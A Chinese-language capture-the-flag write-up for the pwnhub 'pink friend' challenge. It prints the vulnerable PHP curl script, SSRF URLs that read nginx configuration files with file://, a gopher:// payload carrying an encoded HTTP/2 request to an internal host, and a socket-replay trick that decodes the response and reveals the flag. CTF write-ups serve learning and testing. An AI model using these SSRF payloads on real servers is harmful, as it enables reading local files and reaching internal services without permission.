ssrf_by_http2_and_gopher

pwnhub-pink-friend

參考連結：

http://f1sh.site/2019/01/30/pwnhub-pink-friend-writeup/

https://www.virzz.com/2019/01/29/pwnhub_2019_pink_friend_http2.html

題目連結：https://40.73.33.181/index.php

source code:

<?php
show_source(__FILE__);

if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!$url){
        die('Can not parse url: '.$_GET['url']);
    }
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
    curl_exec($ch);
    curl_close($ch);
}
?>

           

先ssrf讀nginx配置檔案：

• /etc/nginx/nginx.conf
• /etc/nginx/sites-enabled/default
• /var/log/nginx/access.log;
• /var/log/nginx/error.log

view-source:https://40.73.33.181/index.php?url=file:///etc/nginx/sites-enabled/default

view-source:https://40.73.33.181/index.php?url=file:///etc/nginx/nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
	
	#server {
	#	listen 8080
	#	location /flag {
	#		proxy_pass 172.20.0.3:8080
	#	}
	#}
}


#mail {
#	# See sample authentication script at:
#	# http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
# 
#	# auth_http localhost/auth.php;
#	# pop3_capabilities "TOP" "USER";
#	# imap_capabilities "IMAP4rev1" "UIDPLUS";
# 
#	server {
#		listen     localhost:110;
#		protocol   pop3;
#		proxy      on;
#	}
# 
#	server {
#		listen     localhost:143;
#		protocol   imap;
#		proxy      on;
#	}
#}
           

然後可以從nginx.conf得知flag線索

172.20.0.3:8080

，通過gopher協定構造符合HTTP2的payload通路指定位址，擷取傳回的HTTP2的原生資料（需要了解HTTP2以及gopher協定的知識）。

--payload:
/index.php?url=gopher://172.20.0.3:8080/_PRI%2520%252A%2520HTTP/2.0%250D%250A%250D%250ASM%250D%250A%250D%250A%2500%2500%2500%2504%2500%2500%2500%2500%2500%2500%2500%2515%2501%2505%2500%2500%2500%2501%2582%2586%2584A%258A%2508%259D%255C%250B%2581p%25DCx%250F%2503%2560%2581%25EFS%2581%25F9
           

傳回的資料:

可以将傳回的資料按HTTP2協定的格式解析，或者利用一種巧妙的方法，即把傳回資料放在使用socket模拟的伺服器上，直接用

curl --http2-prior-knowledge

通路，獲得寫在傳回頭部

set-cookie

的flag：

# -*- coding: UTF-8 -*-
# From F1sh's blog
import socket

a = open("response.txt", "r").read()
s = socket.socket()
host = '127.0.0.1'
port = 6777
s.bind((host, port))

s.listen(5)
while True:
    c, addr = s.accept()
    print '連接配接位址：', addr
    c.send(a)
           

執行

curl -vv --http2-prior-knowledge 127.0.0.1:6777 --output -

傳回的資料：

* Rebuilt URL to: 127.0.0.1:6777/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 6777 (#0)
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x55d0f3f35520)
> GET / HTTP/2
> Host: 127.0.0.1:6777
> User-Agent: curl/7.61.0
> Accept: */*
> 
* Connection state changed (MAX_CONCURRENT_STREAMS == 128)!
< HTTP/2 200 
< server: nginx/1.14.0 (Ubuntu)
< date: Wed, 30 Jan 2019 16:02:53 GMT
< content-type: text/html; charset=UTF-8
< set-cookie: F1ag:flag{Http2_Mak3_a_Differ3nce}=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
< 
* Closing connection 0
U hav3 g0t Me!!!%                  
           

[+] GET==> F1ag:flag{Http2_Mak3_a_Differ3nce}